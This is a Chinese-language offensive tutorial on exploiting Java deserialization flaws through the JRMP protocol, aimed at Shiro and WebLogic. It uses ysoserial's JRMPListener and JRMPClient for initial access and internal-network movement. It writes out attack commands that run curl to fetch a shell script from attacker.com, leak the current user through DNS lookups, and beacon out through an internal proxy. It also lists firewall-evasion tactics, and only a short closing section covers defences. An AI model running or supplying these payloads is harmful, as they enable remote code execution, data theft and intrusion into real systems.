别再只会用ysoserial打Shiro了!手把手教你玩转JRMPListener实现内网探测
深入探索JRMP协议在Java反序列化攻击中的实战应用在安全研究领域Java反序列化漏洞一直是红队人员关注的焦点。当大多数人还停留在使用ysoserial生成基础payload的阶段时真正的高手已经开始探索JRMP协议在内网渗透中的强大潜力。本文将带你超越基础用法深入剖析如何利用JRMPListener和JRMPClient构建复杂的攻击链实现从外网到内网的纵深突破。1. JRMP协议核心原理与实战价值JRMPJava Remote Method Protocol作为Java RMI的底层通信协议其设计初衷是为了简化分布式Java应用间的远程调用。然而正是这种透明化的网络通信机制为安全研究人员提供了独特的攻击面。协议工作流程解析客户端通过JRMP连接到服务端的注册表Registry客户端查找并获取远程对象的存根Stub存根将方法调用序列化为网络消息服务端反序列化消息并执行实际方法结果再通过相同路径返回给客户端在渗透测试中我们可以利用这个流程中的几个关键弱点不受信任的反序列化点缺乏强制的身份验证机制协议默认使用Java原生序列化提示现代Java环境已对RMI进行了多项安全加固但在内网环境中仍可能遇到未打补丁的老系统。2. 构建JRMP攻击链的完整方案2.1 环境准备与工具配置典型的JRMP攻击需要以下组件协同工作组件作用示例配置攻击机运行恶意JRMPListener公网VPS或跳板机目标应用存在反序列化漏洞的Java服务Shiro、WebLogic等网络通路确保流量可达端口映射、隧道技术基础工具链配置示例# 下载并编译ysoserial git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests2.2 多阶段攻击实施阶段一外网触发在攻击机上启动恶意监听服务java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 curl http://attacker.com/shell.sh -o /tmp/shell.sh生成指向监听服务的序列化payloadjava -jar ysoserial.jar JRMPClient attacker_ip:1099 jrmp_payload.ser通过目标系统的反序列化入口如Shiro的rememberMe提交payload阶段二内网横向移动成功建立初始立足点后可通过以下方式扩展控制范围利用已控主机作为新的JRMP中继节点扫描内网其他Java服务RMI端口通常为1099部署轻量级代理工具建立持久通道3. 突破网络限制的高级技巧3.1 不出网环境下的利用当目标服务器无法直接连接外网时可尝试DNS隧道技术# 使用DNS查询作为C2通道 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 nslookup $(whoami).attacker.comHTTP代理穿透# 通过内网已有代理服务器外联 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 curl -x http://proxy.internal:8080 http://attacker.com/beacon3.2 防火墙规避策略针对常见的网络防护措施端口复用绑定到已放行的服务端口如80/443协议伪装将JRMP流量封装在HTTP中流量混淆使用自定义序列化编码4. 防御视角下的对抗措施从蓝队角度可采取以下防护策略企业级防护方案对比措施实施难度防护效果性能影响序列化过滤器中高低RMI加固配置低中无网络隔离高极高取决于策略运行时保护高极高中关键加固命令示例// 启用JEP290过滤 System.setProperty(jdk.serialFilter, !*);在实际项目中我们发现最有效的防护是组合应用上述措施同时保持组件及时更新。曾经遇到过一个案例仅通过配置JEP290就阻断了90%的自动化攻击尝试。